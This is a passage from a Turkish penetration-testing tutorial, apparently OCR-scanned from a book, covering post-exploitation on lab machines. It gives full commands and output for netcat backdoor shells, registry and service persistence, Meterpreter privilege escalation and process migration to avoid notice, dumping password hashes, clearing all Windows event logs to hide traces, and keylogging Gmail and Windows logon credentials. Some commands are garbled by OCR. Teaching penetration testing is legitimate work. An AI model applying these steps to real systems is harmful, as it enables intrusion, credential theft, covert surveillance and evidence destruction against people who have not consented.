yetkisinde ¢alistirmak icin asagidaki komutu yaziyoruz. Bu komutun
¢alisabilmesi igin mevcut bagh oldugunuz kullanicinin sudo yetkisi olmasi ve

kullanicinin sifresini bilmeniz gerekiyor.

# sudo nc -1 -p 5755 -e /bin/bash

Kali tarafinda ¢alistirdigimiz komut degismiyor.

# nc 10.10.20.9 5755
id

uid=0 (root) gid=0(root) groups=0(root)

Yukarida gordligiinliz Gzere bu sefer root yetkisindeyiz. Bir baglanti
yaptigimizda bu baglantinin kopma ihtimaline karsi hemen yedek bir baglanti
a¢mamizda fayda var. Yalniz yeni baglanti dinleme modunda olacagi igin
mevcut ¢calismamizi da engellememesi lazim. Yani komut arkada calismali.

Netcat ile Metasploitable’a bagliyken yazacagimiz komut érnegi asagidaki

gibi olacak:

# nohup nc -1 -p 5756 -e /bin/bash &

Burada fark edeceginiz gibi baska bir port lizerinde yeni bir baglanti actik.
Artik istedigimizi yapabilir ve baglantinin kopmasi durumunda bir sonraki
baglantiya gecebiliriz. Baglantiyi kopardiktan sonra yeni porta baglanti
denemesi yaparak ¢alisip galismadigini kontrol edebilirsiniz.

Netcat ile Windows’ta arka kapi agma:



Windows ornegimizde daha 6nceden Windows XP’yi ele gecirmis olmamiz
gerekiyor. ilk yapacagimiz Meterpreter Shell (izerinden Netcat dosyasini
Windows’a gondermek. Daha sonra Linux’takine ¢cok benzer komutlarla arka
kapi acacagiz.

Simdi adim adim ilerleyelim:

1. Adim: http://joncraton.org/blog/46/netcat-for-windows/ adresinden

nclllnt-2.zip dosyasini indiriyoruz ve icindeki dosyalari aciyoruz. Bize “nc.exe”
dosyasi gerekiyor. Ben bu dosyayi /root klasori altina koydum.

2. Adim: Daha 6nce ele gegirdigimiz ve Meterpreter Shell a¢tigimiz Windows
icin Meterpreter Shell arayliziine gecgiyoruz. Burada “lpwd” komutuyla Kali’de
bulundugumuz dizini kontrol ediyoruz. Bu dizin nc.exe’yi kopyaladigimiz dizin
olmali. “pwd” komutuyla da Windows’ta bulundugumuz dizini kontrol
edebiliriz. Daha sonra dosyay! “upload” komutuyla Windows’taki aktif dizine
gonderiyoruz. Buna iliskin drnek asagida bulunuyor:

meterpreter > lpwd

/root

meterpreter > upload nc.exe

[*] uploading : nc.exe —-> nc.exe

[*] uploaded ! nc.exe -> nc.exe

3. Adim: nc.exe’yi calistirip bir arka kapi aciyoruz. Ornek komutumuz asagida
yer aliyor:

meterpreter > execute -f nc.exe -a "-L -p 5777 -e cmd.exe"

Process 1516 created.

“execute” komutuyla nc.exe’nin ¢alismasini sagliyoruz.

-f nc.exe: Calistiracagimiz dosyanin nc.exe oldugunu soéyliyoruz.


http://joncraton.org/blog/46/netcat-for-windows/

-a “-L-p 5777 -e cmd.exe”: -a parametresi, nc.exe icin gerekli parametreleri

gonderiyor.

“-L-p 5777 -e cmd.exe”: -L ile nc.exe’nin dinleme modunda calismasini
sagliyoruz. Ayrica “-L”, baglanti koptuktan sonra bile aktif olarak nc.exe’nin
arkada calismasini ve tekrar tekrar baglanabilmemizi saglyor.

-p ve -e’nin 6zellikleri ise Linux’takiyle ayni.

Simdi Kali Gzerinden baglanma denememizi yapalim:

root@kali:~# nc 10.10.20.8 5777
Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Yukarida gorildugi tzere arka kapimiz ¢alisiyor.

Arka kapiyit Windows’ta kalici hale getirmek:

Eger Windows kapanip agildiginda bile arka kapimizin kalici olmasini
istiyorsak Windows registry veritabanina asagidaki gibi bir kayit atmamiz

gerekiyor.

meterpreter > reg setval -k
HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d
'C:\windows\system32\nc.exe -Ldp 5988 -e cmd.exe'

Successful set nc.

Kaydin dogru sekilde olusup olugsmadigini kontrol ediyoruz:

meterpreter > reg queryval -k




HKIM\\software\\microsoft\\windows\\currentversion\\run -v nc
Key: HKLM\software\microsoft\windows\currentversion\run
Name: nc
Type: REG_SZ

Data: C:\windows\system32\nc.exe -Ldp 5988 -e cmd.exe

Bundan sonra yapmamiz gereken Windows’u yeniden baslatip 5988 portuna
baglanti denemesi yapmak.

Cryptcat:

Cryptcat, Netcat’in sifreli trafikle haberlesen kardesi. Eger Netcat Uzerinden
olusturdugunuz trafigin izlenmemesini istiyorsaniz alternatif olarak Cryptcat
kullanabilirsiniz.

Meterpreter Shell

Bundan 6nce Meterpreter Shell’i defalarca kullandik. Bu bélimde daha
ayrintili olarak neler yapabilecegimizi inceleyecegiz. Meterpreter sizma sonrasi
en ¢ok kullanacagimiz ve tzerinde birgcok 6zelligi barindiran bir yazilim. Asagida,
inceleyecegimiz ozelliklerin listesi yer aliyor:

Yetki kontroll ve yetki ylikseltme

Galisan islemleri gérme ve islemleri durdurma
Meterpreter Shell’i tasima

Yeni bir Meterpreter Shell agma

Arka kapi agma

Kullanici adlari ve sifrelerinin hash’lerini alma
Windows log islemleri
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9. Klavyeyle yazilanlari kaydetme

Yetki kontrolii ve yetki yiikseltme:

ilk yapacagimiz is, kullanici yetkimizi ggrmek. Bunun icin yazacagimiz komut
“getuid”.

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Su anda Windows XP’ye System kullanicisi yetkisiyle baglandigimiz igin her
istedigimizi yapabiliriz. Eger kullanici seviyemiz system’den daha disuk olsaydi
bu sefer “getsystem” komutuyla yetkimizi ylikseltmeye ¢alisacaktik. Bu islemde
basarili oldugumuzda asagidaki gibi bir detayla karsilasacaktik.

meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Calisan islemleri gorme ve durdurma:

Bir diger islem hangi servislerin ¢alistigini gormek. Bunun icin yazacagimiz
komut “ps”.



meterpreter > ps

Process List

PPID Name Session User

0 [System Process] 4294967295
0 System 0 NT AUTHORITY\SYSTEM
116 1264 notepad.exe 0 NT AUTHORITY\SYSTEM C: \WINDOWS\System32\notepad.exe
200 1944 VBoxTray.exe FFF-3XQK3JVIDE2\fff C: \WINDOWS\System32\VBoxTray.exe
296 1944 jusched.exe FFF-3XQK3JVIDE2\fff C:\Program Files\Common Files\Java\Java Update\jusched.exe
304 1944 nc.exe 86 FFF-3XQK3JVIDE2\fff C:\windows\system32\nc.exe
372 4 Smss.exe NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
612 372 Csrss.exe NT AUTHORITY\SYSTEM \?7\C: \WINDOWS\Sys tem32\
636 372 winlogon.exe NT AUTHORITY\SYSTEM \C: \WINDOWS\sys tem32'
680 636 services.exe NT AUTHORITY\SYSTEM 1 \WINDOWS\system32\services,exe
692 636 lsass.exe NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
844 680 VBoxService.exe NT AUTHORITY\SYSTEM \WINDOWS\system32\VBoxService,exe
920 680 svchost.exe NT AUTHORITY\SYSTEM \WINDOWS\system32\svchost,
988 1020 wuauclt,exe FFF-3XQK3JVIDE2\fff \WINDOWS\System32\wuauclt.exe
1020 680 svchost,exe NT AUTHORITY\SYSTEM : \WINDOWS\Sys tem32\svchost.
1092 680 svchost.exe NT AUTHORITY\NETWORK SERVICE + \WINDOWS\System32\svchost.exe
1116 680 svchost.exe NT AUTHORITY\LOCAL SERVICE : \WINDOWS\Sys tem32\svchost.
1416 680 spoolsv,exe 0 NT AUTHORITY\SYSTEM C: \WINDOWS\system32\spoolsv,
1560 680  jqs.exe NT AUTHORITY\SYSTEM :\Program Files\Java\jre6\bin\jqs.exe
1596 680 ossec-agent.exe NT AUTHORITY\SYSTEM C:\Program Files\ossec-agent\ossec-agent,exe
1836 1944 cmd.exe FFF-3XQK3JVIDE2\fff : \WINDOWS\Sys tem32\cmd , exe
1944 1888 explorer.exe 0 FFF-3XQK3JVIDE2\fff C: \WINDOWS\Explorer.EXE

Gordigunlz gibi butln ¢calisan islemler listelendi. Bu adimda yapmamiz
gereken, glivenlik programlarina bakmak ve bulduklarimizi durdurmak. Su anki
ornegimizde bir antivirls calismiyor. Onun yerine deneme olarak daha 6nce
actigimiz “nc.exe” komutunu durduralim. Listeyi incelerseniz 304 numarali
islemin “nc.exe” oldugunu goreceksiniz. “Kill islem numarasi” ile islemi
sonlandiriyoruz.

meterpreter > kill 304

Killing: 304

Meterpreter Shell’i tasima:

Bundan sonraki adimimiz mevcut Meterpreter Shell’imizin hangi islem
Uzerinde c¢alistigini bulmak. Komut: “getpid”.

meterpreter > getpid

Current pid: 116

Gordigunlz Gzere 116 numarali islem “notepad.exe” lGizerinde ve system
kullanici yetkisiyle calisiyor. Simdi Meterpreter Shell’imizi daha zor



sonlandirilacak ve kullanici veya yonetici tarafindan anlasilmayacak bir hizmet
Uzerine tastyalim. Bu noktada dikkat etmeniz gereken tasiyacaginiz islemin
daha duslik yetkili bir kullanicida olmamasi. Eger disiik yetkili bir kullaniciya
tasirsaniz bir anda sisteme erisen ama hicbir sey yapamayan bir kullaniciya
donulsebilirsiniz. Bu durumda emekleriniz bosa gider. Ben listede 1020
numarasiyla calisan “svchost.exe” hizmetini seciyorum. Bu hizmet NT
AUTHORITY\SYSTEM kullanicisiyla ¢alistigi icin yetki problemi yasamayacagiz.

meterpreter > migrate 1020

[*] Migrating from 116 to 1020...

[*] Migration completed successfully.
meterpreter > getpid

Current pid: 1020

Yeni bir Meterpreter Shell agma:

Mevcut Meterpreter haricinde yeni bir tane daha kullanmak isterseniz veya
yedeklemek isterseniz “run duplicate” komutunu kullanabilirsiniz.

meterpreter > run duplicate

[*] Creating a reverse meterpreter stager: LHOST=10.10.20.4
LPORT=4546

[*] Running payload handler

[*] Current server process: metsvc-server.exe (2980)
[*] Duplicating into notepad.exe...

[-] Could not access the target process

[*] Spawning a notepad.exe host process...

[*] Injecting meterpreter into process ID 1884

[*] Allocated memory at address 0x00180000, for 287 byte




stager
[*] Writing the stager into memory...
[*] New server process: 1884

meterpreter > [*] Meterpreter session 2 opened
(10.10.20.4:4546 -> 10.10.20.5:50771) at 2014-08-21 16:12:22
+0300

Yeni agilan shell’e gegmek icin yapacaklariniz:

- “background” komutuyla mevcut shell’i arkada ¢alisacak sekilde kapatin.
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- “sessions -1” ile acik Meterpreter Shell listelerini gorebilirsiniz. Bizim

ornegimizde yeni shell 2 numara.

- “sessions -i 2” ile yeni shell’e gegis yapabilirsiniz.

meterpreter > background
[*] Backgrounding session 1...

msf exploit (handler) > sessions -1

Active sessions

Id Type Information
Connection

1 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN7DENEME
10.10.20.4:39374 -> 10.10.20.5:31337 (10.10.20.5)

2 meterpreter x86/win32 NT AUTHORITY\SYSTEM @ WIN7DENEME
10.10.20.4:4546 -> 10.10.20.5:50771 (10.10.20.5)




msf exploit (handler) > sessions -i 2

[*] Starting interaction with 2...

meterpreter >

Arka kapi agma:

Su noktada daha fazla ilerlemeden 6nce dikkat etmemiz gereken konu, bir
an once bir arka kapi acarak tekrar baglanmamizi garantilemek. Eger kullanici
bilgisayari kapatir, yeniden baslatir veya hatali bir islem yaparsak Meterpreter
Shell’imizi kaybedebiliriz. Bu durumda emeklerimiz bosa gidebilir ve tekrar basa
donmemiz gerekebilir. Meterpreter ile agacagimiz arka kapi Netcat ile
acacagimizdan daha kullanisli olacak. Clinkli Meterpreter 6zelliklerini tekrar
baglandigimiz arka kapida da kullanabilecegiz. Simdi komutumuza gecelim: “run
metsvc -A”.

meterpreter > run metsvc -A
[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory
C:\WINDOWS\TEMP\OPPBWfAbgzJPVd. ..

[*] >> Uploading metsrv.x86.dl1...

[-] Error in script: Errno::ENOENT No such file or directory
- /opt/metasploit/apps/pro/msf3/data/meterpreter/metsrv.x86.d11

Gordiguniz gibi komutumuz calismadi ve bir hata verdi. Bu sizin
sisteminizde de ayni hatayla karsilasacaginiz anlamina gelmiyor ama yine de
sorunu ¢cozmemiz gerekecek.



root@kali:~# locate metsrv.x86.dl1l

/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/met
erpreter bins-0.0.6/meterpreter/metsrv.x86.dl1l

/usr/share/metasploit-
framework/vendor/bundle/ruby/1.9.1/gems/meterpreter bins-
0.0.6/meterpreter/metsrv.x86.d11

root@kali:~# cp
/opt/metasploit/apps/pro/ui/vendor/bundle/ruby/1.9.1/gems/meterp
reter bins-0.0.6/meterpreter/metsrv.x86.d11l
/opt/metasploit/apps/pro/msf3/data/meterpreter/

root@kali:~#

Yukarida ilk olarak “locate” komutuyla dosyanin yerini buldum, daha sonra
Metasploit’in istedigi yere dosyayi kopyaladim. Simdi tekrar deniyoruz:

meterpreter > run metsvc -A
[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory
C:\WINDOWS\TEMP\hAefhEqYuBzTJ. ..

[*] >> Uploading metsrv.x86.d11...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...

* Installing service metsvc
* Starting service

Service metsvc successfully installed.

[*] Trying to connect to the Meterpreter service at
10.10.20.8:31337...




Bu sefer basarili bir sekilde ¢calistirmayi basardik. Windows tarafindan da
servisin ¢alisip calismadigini kontrol edelim. Bunun igin izleyecegimiz adimlar:
Start - Control Panel > Administrative Tools = Services.

[e Computer Management =] 6‘]_
=] Fie Action View Window Help =18 %]

- OEFRB @ . »
S Computer Management (Local)

= 35, System Tools
: .L‘ﬂ g;:::dv::;;y . Meterpreter Name I Description I Status [ Startup Type I Log On As | A
o § Local Users and Groups ) %Dvstributed Transac... Coordinate... Manual Network S...
+ & Performance Logs and Alerts Stop metﬁ:'::ice SRONS Client Resolvesa... Started  Automatic Network S...
A Device Manager Restart %Enov Reporting Ser... Allows erro.,, Started Automatic Local System
- (& Storage %Event Log Enablesev... Started Automatic Local System
+ @ Removable Storage %Fast User Switching... Providesm... Started Manual Local System
g Disk Defragmenter %Help and Support Enables He.., Started Automatic Local System
8 Disk Management Human Interface D... Enables ge... Disabled Local System
=/ £ Services and Applications SR IMAPI CO-Burning C... Manages C.., Manual Local System
Services %lr\dﬂxm Service Indexes co... Manual Local System
WHI Control 4 Internet Connectio...  Provides ... Manual Local System
# B Indexing Service S IPSEC Services Managesl... Started  Automatic Local System
%hva Quick Starter Prefetches.., Started Automatic Local System
%Logvcal Disk Manager Detectsan... Started Automatic Local System
%lwcal Disk Manage... Configures.., Manual Local System
%Messengev Transmis ... Started Automatic Local System
LY Meterpreter Started Automatic Local System
RMS Software Shado... Managess.., Manual Local System
%Net Logon Supports p... Manual Local System
£ NetMeeting Remote... Enables an... Manual Local System
%Network Connections Manages o... Started Manual Local System
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Yukarida gorildigu tzere servisimiz ¢alisiyor. Bundan sonraki adimimiz
31337 nolu portta actigimiz arka kapiya baglanmak. Bunun icin Metasploit’te
asagidaki adimlari takip ediyoruz. Kirmizi yazili olanlar bizim yazdigimiz
komutlar:

msf exploit(ms03 026 dcom) > use exploit/multi/handler
msf exploit (handler) > set PAYLOAD windows/metsvc_bind_tcp
PAYLOAD => windows/metsvc bind tcp

msf exploit (handler) > set LPORT 31337

LPORT => 31337

msf exploit (handler) > set RHOST 10.10.20.8

RHOST => 10.10.20.8

msf exploit (handler) > show options




Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/metsvc bind tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique

(accepted: seh, thread, process, none)

LPORT 31337 yes The

RHOST 10.10.20.8 no The

Exploit target:

Id Name

0 Wildcard Target

msf exploit (handler) > run

[*] Started bind handler

[*] Starting the payload handler...

listen port

target address




[*] Meterpreter session 4 opened (10.10.20.4:50142 ->
10.10.20.8:31337) at 2014-08-20 23:29:28 +0300

En son “exploit” komutuyla baglantiyi saglayabilirsiniz. (Arka kapi agmayi
Windows XP’de saglayamadim. Hata veriyor. Windows 7’de sorunsuz c¢alisiyor.)

Kullanici adlari ve sifrelerinin hash’lerini alma

Kullanici adlari ve sifrelerini alarak daha sonra bunlari John the Ripper ile
kirmaya calisabiliriz. ilgili kullanici ve sifreler farkli sistemlere girisimize imkan
saglayabilir. Ozellikle local admin sifresi hatta sadece hash’i diger bilgisayarlara
atlamada ¢ok isimize yarayabilir. Yazacagimiz komut “run hashdump” olacak.

meterpreter > run hashdump
[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY
432eb75a88£8f5455f6ab58a7ac68b3cl. ..

[*] Obtaining the user list and keys...
[*] Decrypting user keys...

[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...




Administrator:500:aad3b435b51404eecaad3b435b51404ee:31docfeldl
0ae931b73¢c59d7e0c089c0: :

Guest:501:a2ad3b435b51404eecaad3b435b51404ece:31docfe0dl6ae931b’
3¢59d7e0c089c0: ¢

deneme:1000:aad3b435b51404eecaad3b435b51404ee:2d20d252a479£485
cdf5el71d93985bf:::

Yukarida gorildigu tzere kullanici adlari ve sifrelerinin hash bilgilerini
alabildik.

Windows log islemleri:

Windows Uizerinde gergeklesen olaylarin kaydini incelemek ve temizleyip iz
birakmamak icin kullanabilecegimiz komut “run event_manager”. ilk 6nce genel
olarak log’larin bir 6zetine bakalim. Bunun igin “run event_manager -i”
komutunu kullanabiliriz.

meterpreter > run event manager -i

[*] Retriving Event Log Configuration

Event Logs on System

Name Retention Maximum Size Records
Application Disabled 20971520K 797
HardwareEvents Disabled 20971520K 0

Internet Explorer Disabled K 0




Key Management Service Disabled 20971520K 0
Media Center Disabled 8388608K 0
Security Disabled 20971520K 1118
System Disabled 20971520K 2771
Windows PowerShell Disabled 15728640K 0

Yukarida gorildigu tzere Application (Uygulamalar), Security (Glvenlik) ve
System (Sistem) hakkinda log’lar mevcut. “Run event_manager” ile ilgili
parametreleri 6grenmek ve neler yapabileceginizi gormek icin -h parametresini
kullanabilirsiniz. Meterpreter’da genelde bitin komutlar icin “-h” parametresi
detaylari incelemek icin kullanilabilir.

meterpreter > run event manager -h

Meterpreter Script for Windows Event Log Query and Clear.

OPTIONS:

-c <opt> Clear a given Event Log (or ALL if no argument
specified)

-f <opt> Event ID to filter events on
-h Help menu

-1i Show information about Event Logs on the System
and their configuration

-1 <opt> List a given Event Log.
-p Supress printing filtered logs to screen

-s <opt> Save logs to local CSV file, optionally specify
alternate folder in which to save logs

Simdi log’lardan gtivenlikle ilgili olanlari bir CSV dosyasina atalim. Asagida
komut 6rnegimizi ve ciktisini gériyorsunuz:



“-p”: Log detaylarinin ekrana ¢tkmamasini sagliyor.
“-| Security”: Guvenlikle ilgili log’larin ¢ikmasini saglyor.

“-s [root”: CSV formatinda ve Excel ile agilabilir log detaylarinin root dizini
altina kaydedilmesini sagliyor.

meterpreter > run event manager -p -1 Security -s /root

[+] CSV File saved to
/root/WIN7DENEME 20140821.3711/Security.csv

Son olarak butin log’lari temizleyelim. Boylelikle arkada bir iz birakmamis
olalim. Kullanacagimiz komut “run event_manager -c”.

meterpreter > run event manager -c

[-] You must specify and eventlog to query!
[*] Application:

[*] Clearing Application

[*] Event Log Application Cleared!

[*] HardwareEvents:

[*] Clearing HardwareEvents

[*] Event Log HardwareEvents Cleared!

[*] Internet Explorer:

[*] Clearing Internet Explorer

[*] Event Log Internet Explorer Cleared!
[*] Key Management Service:

[*] Clearing Key Management Service

[*] Event Log Key Management Service Cleared!
[*] Media Center:

[*] Clearing Media Center

[*] Event Log Media Center Cleared!




[*] Security:

[*] Clearing Security

[*] Event Log Security Cleared!
[*] System:

[*] Clearing System

[*] Event Log System Cleared!
[*] Windows PowerShell:

[*] Clearing Windows PowerShell

[*] Event Log Windows PowerShell Cleared!

Simdi log kayitlarini ve sayisini tekrar kontrol edelim. Asagida gorildugi
Uzere butun kayitlar temizlendi.

meterpreter > run event manager -i

[*] Retriving Event Log Configuration

Event Logs on System

Name Retention Maximum Size Records
Application Disabled 20971520K 0
HardwareEvents Disabled 20971520K 0
Internet Explorer Disabled K 0
Key Management Service Disabled 20971520K 0
Media Center Disabled 8388608K 0
Security Disabled 20971520K 1

System Disabled 20971520K 2




Windows PowerShell Disabled 15728640K 0

Windows komut satirina gegme:

Eger Meterpreter Shell haricinde Windows komut satirina gecip komut
calistirma ihtiyacimiz olursa “shell” komutunu kullanabiliriz. Bu komut ayni
zamanda yeni bir channel (kanal) acar.

meterpreter > shell
Process 3020 created.
Channel 1 created.

Microsoft Windows [Strim 6.1.7600]

Telif Hakki (c) 2009 Microsoft Corporation. Tim haklari
saklidir.

C:\Windows\system32>

Komut satiriyla ilgili isimiz bitince “exit” komutuyla kapatabiliriz. Bu
durumda ilgili kanal da kapanir. Eger isimiz bitmemisse ve arka planda
calismasini istiyorsak CTRL+Z tuslarini kullanabiliriz. Bu durumda devam edip
etmek istemedigimizi soracaktir. Sonrasinda arkada ¢alisan kanallarimizi
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gormek istersek “channel -I” komutunu kullanabiliriz.

C:\Windows\system32>"Z

Background channel 1? [y/N] vy




meterpreter > channel -1

Id Class Type

1 3 stdapi process

meterpreter >

Herhangi bir kanala geri donmek icin kullanacagimiz komut “channel -i
kanal_no” olacak.

meterpreter > channel -i 1

Interacting with channel 1...

C:\Windows\system32>




Klavyeyle yazilanlar kaydetme:

Windows’ta klavyeyle yazilanlari kaydetmek ve boylelikle kullaniciyla ilgili
bilgileri ele gecirmek isteyebiliriz. Bu durumda ¢6zimu yine Meterpreter’da
bulabiliriz. Yalniz klavye bilgilerini alabilmek icin kullanicinin oturumuna
gecmemiz gerekecek. Bunun icin Meterpreter’in ¢alistigi islemi kullanicinin
kullandigi explorer.exe islemine tasimamiz yeterli. Yalniz bunun bir yan etkisi,
sistem yetkilerini kaybetmemiz ve kullanici yetki seviyesine diismemiz. Bundan
dolayi ilk basta yeni bir Meterpreter Shell acarak yenisine gegmeniz yetki kaybi
yasamanizi &nleyebilir. ilk dnce kullanici oturumundaki tuslari kaydetmekle
baslayalim, bir sonraki adimda da Windows login sirasindaki kullanici adi ve

sifreleri kaydedelim.

Kullanici oturumundaki tuslari kaydetme:

Once “Yeni Bir Meterpreter Shell Agma” bélimiindeki adimlari takip ederek
yeni bir shell agip yenisine geciyoruz. Sonra “ps” komutuyla mevcut islemlere
bakiyoruz. Aradigimiz, kullaniciyla ilgili “explorer.exe” islemi. Asagida goruldugi

Uzere islem numaramiz 1456.

meterpreter > ps

Process List

PID PPID Name Arch Session User
Path

0 0 [System Process] 4294967295

1272 484 taskhost.exe x86 64 1
win7deneme\deneme C:\Windows\System32\taskhost.exe

1324 484 svchost.exe x86 64 O NT




AUTHORITY\Local Service C:\Windows\System32\svchost.exe

1364 484 FCUpdateService.exe x86 0 NT
AUTHORITY\SYSTEM C:\Program Files (x86)\Foxit
Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe

1448 484 metsvc.exe x86 0 NT
AUTHORITY\SYSTEM
C:\Users\deneme\AppData\Local\Temp\bfjygkpZH\metsvc.exe

1456 1380 explorer.exe x86 64 1
win7deneme\deneme C:\Windows\explorer.exe

1568 908 dwm.exe x86 64 1
win7deneme\deneme C:\Windows\System32\dwm.exe

1828 484 svchost.exe x86 64 0 NT

AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe

2016 1456 VBoxTray.exe x86 64 1

win7deneme\deneme C:\Windows\System32\VBoxTray.exe
2108 484 SearchIndexer.exe x86 64 0 NT

AUTHORITY\SYSTEM C:\Windows\System32\SearchIndexer.exe
2164 3064 ielowutil.exe x86 1

win7deneme\deneme C:\Program Files (x86)\Internet

Explorer\IELowutil.exe

ikinci adim olarak 1456 islemine Meterpreter’i tasiyoruz.

meterpreter > migrate 1456
[*] Migrating from 2856 to 1456...

[*] Migration completed successfully.

Son adimda “keyscan_start” ile klavyedeki tus hareketlerini kaydetmeye
basliyoruz.

meterpreter > keyscan start

Starting the keystroke sniffer...




Simdi Windows’a gecip gmail.com’da giris denemesi yapalim ve kayit olarak
Meterpreter’da ne gelecegine bir bakalim. Asagida gorildigu tzere kullanici
adi ve sifre girisi yapiyoruz.
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Google
Tek hesap. Tum Google.

Devam etmek icin Gmail'de oturum agin

deneme@gmail.com
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) Firefox, deneyiminizi geligtirebilmemiz igin baz verileri otomatik olarak Mozilla sunuculanna gonderir. Ne paylagacagirm seg

Meterpreter’da tuslarla ilgili dokimu almak icin yazacagimiz komut
“keyscan_dump”. Asagida gorialdigu lizere hangi tuslara basildigi bilgisini
veriyor. Ayrica sifresi de “gwerty”.

meterpreter > keyscan dump
Dumping captured keystrokes...

gma'l.com <Return> deneme <Ctrl> <Alt> <LCtrl> <RMenu>
qggma'l.com <Tab> gwerty

Burada dikkat etmemiz gereken nokta, kayit sonucu olarak tuglarin verildigi;
tuslarin birlesimine basim sonucu tireyen karakter degil. Ornek verecek olursak
@ isareti normalde ALT GR+Q tuslarina basilmasi sonucu gikarken bizim
ornekte @ isaretine karsilik “<Ctrl> <Alt> <LCtrl> <RMenu> g” bilgileri
kaydedilmis. Son bir nokta: Benim klavyem Tiirkce oldugu icin Meterpreter “i”
harfi yerine () tirnak isareti cikarmis (ingilizce klavyede ‘i’'nin yerinde bulunan


http://gmail.com/

karakter.) Bu gibi durumlara dikkat ederseniz sonucta yukaridaki bilgileri
asagidaki sekilde anlamlandirabilirsiniz:

meterpreter > keyscan dump
Dumping captured keystrokes...

gmail.com <Return> deneme@gmail.com <Tab> gwerty

Istediginiz kayit islemi tamamlandiginda ve tus kaydini durdurmak
istediginizde bunu “keyscan_stop” ile yapabilirsiniz.

meterpreter > keyscan stop

Stopping the keystroke sniffer...

Windows login sirasinda tus kaydi yapma:

Bu seferki tus kaydindaki amacimiz Windows kullanici bilgilerini toplamak.
Yine sistem yetkili Meterpreter Shell tizerine gecelim. Bu seferki gececegimiz
islem “winlogon.exe”. “Bu islem zaten sistem kullanicisi yetkisinde oldugu igin
yeni bir Meterpreter Shell agmaya gerek yok ¢linki yetki kaybetme durumumuz
yok” diye diisiinebilirsiniz ama eger kullanici oturumu agikken winlogon.exe’ye
Meterpreter Shell’i tasirsaniz ve kullanici, oturumunu kapatirsa sizin de
baglantiniz gider. Bundan dolayi yeni bir Meterpreter Shell ile baslamakta fayda
var. Simdi yeni bir shell’e gectiginizi farz ederek devam edelim. “ps” komutu ile
kontrol ettigimizde ilgili islemin 440 numarali islem oldugunu goriyoruz.

meterpreter > ps

Process List

PID PPID Name Arch Session User




0 0 [System Process] 4294967295

4 0 System x86 64 0

264 4 smss.exe x86_ 64 0 NT
AUTHORITY\SYSTEM C:\Windows\System32\smss.exe

340 332 csrss.exe x86 64 0 NT
AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe

388 332 wininit.exe x86 64 0 NT
AUTHORITY\SYSTEM C:\Windows\System32\wininit.exe

400 380 csrss.exe x86 64 1 NT
AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe

440 380 winlogon.exe x86 64 1 NT
AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe

484 388 services.exe x86 64 0 NT
AUTHORITY\SYSTEM C:\Windows\System32\services.exe

492 388 lsass.exe x86_ 64 0 NT
AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe

Meterpreter Shell’i 440 numarali islem Uzerine tasiyor ve “keyscan_start”
komutunu ¢alistiriyoruz.

meterpreter > migrate 440

[*] Migrating from 2740 to 440...

[*] Migration completed successfully.
meterpreter > keyscan start

Starting the keystroke sniffer...

Daha sonra Windows’ta sifre girerek tekrar ne yakaladigimiza bakiyoruz.
Asagida goruldigi Gzere sifreyi yakalamis. Kullanici adi ekrandan secildigi icin
ancak hashdump sirasinda tespit ettigimiz kullanicilar tGzerinde deneme yaparak



sifrenin kime ait oldugunu bulabiliriz. Bunun en kolay yolu John The Ripper ile
hash’ler Gzerinde mevcut sifreyi denemek olacaktir.

meterpreter > keyscan dump
Dumping captured keystrokes...

gwerty <Return>

Baska yararli komutlar:

- help: Komutlar hakkinda bilgi saglama

- upload: Hedef sisteme dosya yukleme

- download: Hedef sistemden dosya indirme

- Is: Mevcut dizindeki dosyalari listeleme

- pwd: Mevcut dizini gdsterme

- search: Dosya arama

- record_mic: Mikrofondan ses kaydetme

- webcam_snap: Web kamerasindan resim cekme

- webcam_stream: Web kamerasindan ortam izleme

Sizma dongisi (Pivoting)

Pivoting kelimesi bir eksen etrafinda donen veya déndirme anlamina
geliyor. Soyle bir durum disinin: Bir bilgisayari ele gecirdiniz. Bu bilgisayarin



bulundugu ag icindeki diger bilgisayarlara erisiminiz yok. Ele gecirdiginiz
bilgisayarda ise hedeflediginiz bilgiler yok. Bu durumda mevcut ele gecirilen
bilgisayari kullanarak ag tzerindeki diger bilgisayarlari tarayip atlayarak kurum
icindeki saldirilariniza devam edeceksiniz. Yani sizma donglisii basa sardi ve
artik kurum icinde yeniden kesif, zafiyet taramasi ve sizma adimlarini yapmaniz
gerekecek. Sizma déngusu, hedefe ulasincaya kadar birka¢ basamakl aglari

gecip hedefe ulasmak icin tekrarlanan stirecin adidir.

Burada 6rnekleme agisindan daha 6nce ele gegirdigimiz Windows 10.10.20.5
IP adresi lizerinden 10.10.20.9 Metasploitable’a saldiracagiz. Daha gergekgi
olmasi i¢in Kali glivenlik duvarinda asagidaki sekilde 10.10.20.9 adresine gidis
ve adresten gelisleri yasakliyoruz. “iptables -L” ile de kurallarimizin aktif

oldugunu gorebiliyoruz.

# iptables -A INPUT -s 10.10.20.9 -j DROP

# iptables -A OUTPUT -d 10.10.20.9 -j DROP

# iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

DROP all -- 10.10.20.9 anywhere

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

DROP all -- anywhere 10.10.20.9

Ayrica nmap ile tarama denemesi yaparak kontrol ettigimizde de trafik
olusturup ilgili adres icin bir bilgiye ulasamiyoruz.



